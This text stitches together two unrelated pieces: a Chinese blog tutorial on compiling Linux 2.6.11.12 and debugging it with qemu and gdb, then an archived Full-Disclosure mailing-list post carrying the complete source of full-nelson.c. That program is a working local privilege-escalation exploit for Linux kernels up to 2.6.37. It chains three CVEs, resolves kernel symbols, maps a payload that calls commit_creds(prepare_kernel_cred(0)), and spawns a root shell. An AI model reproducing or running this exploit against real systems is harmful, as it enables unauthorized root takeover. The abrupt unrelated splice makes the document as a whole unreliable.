这里说明下，本人调试的内核版本是2.6.11.12，为什么去调试这么“古老”的版本？原因不多说了，你手头也许正拿着ULK3，而它针对的内核版本正是2.6.11，有比这更好的理由吗？而且这个版本不算旧，已不算新，我认为还算不错，想想当下还有如此多的人在学习0.11的道路上笃定的前行，讨论关于版本的事情，真的没什么意义。只要你认为有用，能学到东西，做什么别人都不会说你错！
接下来，我尽量把我碰到的一些棘手或者关键的地方都交代清楚，希望看到这篇文章的朋友能顺利搭建好自己的环境。good luck！
你手头需要有VMware，其他的虚拟化工具就不谈了，用法差不多。在vmware中，我先后使用
Ubuntu 12.04和
CentOS 5.1来编译内核，结果都是失败！后来google查到原因是这些发布版的gcc太高，而当时在低版本下编译成的2.6.11内核在这些版本下编译会报错，无法正常编译。不过有不少人说可以将gcc降版本。。。，虽然不是不可行，但是考虑操作可能会比较麻烦等原因，这个方案选择放弃！
后来得知(通过goole)，能天然编译2.6.11的发布版，有两种，分别是ubuntu 5.1和
RedHat 9.0，他们的内核版本都是2.6.11或者相近的版本。最后我选择了ubuntu，原因就不说了，都懂的！
我用ubuntu的毛病就是，刚安装的系统，首先做的事情就是更新source.list文件，后来查到ubuntu已经不再对5.1及一些版本做支持了，所以我用了网上搜到的最新的source.list在升级的时候遇到各种报错，恶心的要死。
所以我的建议就是不要动source.list，用默认的就可以了。
- www.linuxidc.com @localhost:~$ sudo apt-get install build-essential
接下来来要做的第一件事就是安装build-essential，这个东西是重要的
c语言开发包，包含了gcc, make, gdb和libc函数库等很多工具，编译c程序所必须的一些东西，因为刚安装完的
ubuntu 5.1基本上是个废品，gcc根本不能用。
然后我的习惯是给系统安装ssh，因为安装完ssh之后，我就可以用xshell和xftp来实现更方便的操作，当然很多人喜欢安装VMware Tools。
关于如何使用xshell和xftp，就不多讲了，反正作用就是为了方便在主机和虚拟机之间传输数据，什么方式都可以。
接下来就是安装qemu，如果能使用更新的source.list，就可以直接在终端使用sodu apt-get install qemu来完成安装，但是系统默认的更新源是没有这个包的，所以选择使用源码安装。
选择哪个版本？我曾经选择过最新的版本，首先编译比较慢，而且编译之后的可执行文件没有“qemu”，而是一些qemu-i386，qemu-mips等等。我开始以为qemu-i386是我想要的，但是用了一些网上讲的使用方法，貌似不行。不想浪费时间研究了，决定换低的版本试一试。
从最开始的0.10到0.91编译都有各种报错，最突出的问题是，这些版本编译要求系统的gcc是3.x，而当前系统的gcc是4.0.2 20050808，跪了！后来试了很多，最终选择了0.11.0-rc2，即内部版本为0.11.92，其他的有些版本编译也会有很多错误，根本编译不过，有的说缺什么库，有的源码里就有编译错误，shit！反正这个版本是没有问题的，可以顺利编译。
关于如何找到这个版本，这里跟大家说下。
首先登陆官网：
https://github.com/qemu/QEMU
单击这个branch:master后面的小三角，在Tags里面查找即可：
好了，qemu安装完(直接configure，make，make install)之后，我们就可以编译2.6.11.12内核了，关于内核编译，资料多如牛毛，我只使用两个命令：
- www.linuxidc.com @localhost:~$make menuconfig
- www.linuxidc.com @localhost:~$make -j4 bzImage
但是这里有几个问题要说一下，关于什么是make menuconfig，不知道的同学去google下，另外执行命令需要ncurses库的支持，不然你执行
make menuconfig会报错，这里大家可以去官网下:
版本应该问题不大，我选择的是5.5的版本，因为我看到它的更新日期是2005年，而ubuntu 5.1也是在那个时间发布的，不会用什么兼容上的问题。
执行menuconfig的时候，我们唯一需要做的工作就是在Kernel hacking项目里面将Compile the kernel with debug info和Compile the kernel with frame pointers，两项勾选(在相应项上按空格键，里面都有详细的说明，不会的同学自己看)。这些项目可以让编译时添加调试信息，类似我们平时用的-g选项。
然后make -j4 bzImage，其中-j是让编译时使用多核心，你配置的cpu有几个核心就在后面加上几，比如我的配置的是四核心，那么就是-j4。
等一小会儿(机器快的话)之后，内核编译完成，激动吧。。。。
那么qemu如何使用呢？
直接终端输入：
- www.linuxidc.com @localhost:~$qemu -s -S -kernle linux-2.6.11.12/arch/i386/boot/bzImage
- 参数说明：
- -s: qemu在端口1234监听gdb的调试连接
- -S: 让qemu启动后暂停，等待gdb的连接
- -kernel: 指定bzImage的路径
由于我目前的关注重点是内核初始化的一些过程，所以更高级的qemu功能先暂时不去研究，后面用到再说。
之后我们另开启一个终端，在源码的顶层目录输入：
- www.linuxidc.com @localhost:~/linux-2.6.11.12$ gdb vmlinux
然后，输入命令：
- (gdb) target remote localhost:1234
- Remote debugging using localhost:1234
- [New Thread 1]
- 0x0000fff0 in ?? ()
- warning: shared library handler failed to enable breakpoint
- (gdb)
之后我们打个断点测试下：
- (gdb) b start_kernel
- Breakpoint 1 at 0xc030e537: file init/main.c, line 417.
- (gdb) c
- Continuing.
- Breakpoint 1, start_kernel () at init/main.c:417
- 417 {
- (gdb) n
- 425 page_address_init();
- (gdb)
[prev in list] [next in list] [prev in thread] [next in thread] List: full-disclosure Subject: [Full-disclosure] Linux kernel exploit From: Dan Rosenberg <dan.j.rosenberg () gmail ! com> Date: 2010-12-07 20:25:36 Message-ID: 1291753536.584.14.camel () dan [Download message RAW] Hi all, I've included here a proof-of-concept local privilege escalation exploit for Linux. Please read the header for an explanation of what's going on. Without further ado, I present full-nelson.c: Happy hacking, Dan --snip-- /* * Linux Kernel <= 2.6.37 local privilege escalation * by Dan Rosenberg * @djrbliss on twitter * * Usage: * gcc full-nelson.c -o full-nelson * ./full-nelson * * This exploit leverages three vulnerabilities to get root, all of which were * discovered by Nelson Elhage: * * CVE-2010-4258 * ------------- * This is the interesting one, and the reason I wrote this exploit. If a * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL * word will be written to a user-specified pointer when that thread exits. * This write is done using put_user(), which ensures the provided destination * resides in valid userspace by invoking access_ok(). However, Nelson * discovered that when the kernel performs an address limit override via * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, * etc.), this override is not reverted before calling put_user() in the exit * path, allowing a user to write a NULL word to an arbitrary kernel address. * Note that this issue requires an additional vulnerability to trigger. * * CVE-2010-3849 * ------------- * This is a NULL pointer dereference in the Econet protocol. By itself, it's * fairly benign as a local denial-of-service. It's a perfect candidate to * trigger the above issue, since it's reachable via sock_no_sendpage(), which * subsequently calls sendmsg under KERNEL_DS. * * CVE-2010-3850 * ------------- * I wouldn't be able to reach the NULL pointer dereference and trigger the * OOPS if users weren't able to assign Econet addresses to arbitrary * interfaces due to a missing capabilities check. * * In the interest of public safety, this exploit was specifically designed to * be limited: * * * The particular symbols I resolve are not exported on Slackware or Debian * * Red Hat does not support Econet by default * * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and * Debian * * However, the important issue, CVE-2010-4258, affects everyone, and it would * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly * more sophisticated version of this that doesn't have the roadblocks I put in * to prevent abuse by script kiddies. * * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64. * * NOTE: the exploit process will deadlock and stay in a zombie state after you * exit your root shell because the Econet thread OOPSes while holding the * Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother. * * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla */ #include <stdio.h> #include <sys/socket.h> #include <fcntl.h> #include <sys/ioctl.h> #include <string.h> #include <net/if.h> #include <sched.h> #include <stdlib.h> #include <signal.h> #include <sys/utsname.h> #include <sys/mman.h> #include <unistd.h> /* How many bytes should we clear in our * function pointer to put it into userspace? */ #ifdef __x86_64__ #define SHIFT 24 #define OFFSET 3 #else #define SHIFT 8 #define OFFSET 1 #endif /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; static int __attribute__((regparm(3))) getroot(void * file, void * vma) { commit_creds(prepare_kernel_cred(0)); return -1; } /* Why do I do this? Because on x86-64, the address of * commit_creds and prepare_kernel_cred are loaded relative * to rip, which means I can't just copy the above payload * into my landing area. */ void __attribute__((regparm(3))) trampoline() { #ifdef __x86_64__ asm("mov $getroot, %rax; call *%rax;"); #else asm("mov $getroot, %eax; call *%eax;"); #endif } /* Triggers a NULL pointer dereference in econet_sendmsg * via sock_no_sendpage, so it's under KERNEL_DS */ int trigger(int * fildes) { int ret; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "eth0", IFNAMSIZ); ret = ioctl(fildes[2], SIOCSIFADDR, &ifr); if(ret < 0) { printf("[*] Failed to set Econet address.\n"); return -1; } splice(fildes[3], NULL, fildes[1], NULL, 128, 0); splice(fildes[0], NULL, fildes[2], NULL, 128, 0); /* Shouldn't get here... */ exit(0); } int main(int argc, char * argv[]) { unsigned long econet_ops, econet_ioctl, target, landing; int fildes[4], pid; void * newstack, * payload; /* Create file descriptors now so there are two references to them after cloning...otherwise the child will never return because it deadlocks when trying to unlock various mutexes after OOPSing */ pipe(fildes); fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0); fildes[3] = open("/dev/zero", O_RDONLY); if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) { printf("[*] Failed to open file descriptors.\n"); return -1; } /* Resolve addresses of relevant symbols */ printf("[*] Resolving kernel addresses...\n"); econet_ioctl = get_kernel_sym("econet_ioctl"); econet_ops = get_kernel_sym("econet_ops"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) { printf("[*] Failed to resolve kernel symbols.\n"); return -1; } if(!(newstack = malloc(65536))) { printf("[*] Failed to allocate memory.\n"); return -1; } printf("[*] Calculating target...\n"); target = econet_ops + 10 * sizeof(void *) - OFFSET; /* Clear the higher bits */ landing = econet_ioctl << SHIFT >> SHIFT; payload = mmap((void *)(landing & ~0xfff), 2 * 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if ((long)payload == -1) { printf("[*] Failed to mmap() at target address.\n"); return -1; } memcpy((void *)landing, &trampoline, 1024); clone((int (*)(void *))trigger, (void *)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, &fildes, NULL, NULL, target); sleep(1); printf("[*] Triggering payload...\n"); ioctl(fildes[2], 0, NULL); if(getuid()) { printf("[*] Exploit failed to get root.\n"); return -1; } printf("[*] Got root!\n"); execl("/bin/sh", "/bin/sh", NULL); } _______________________________________________ Full-Disclosure - We believe in it. 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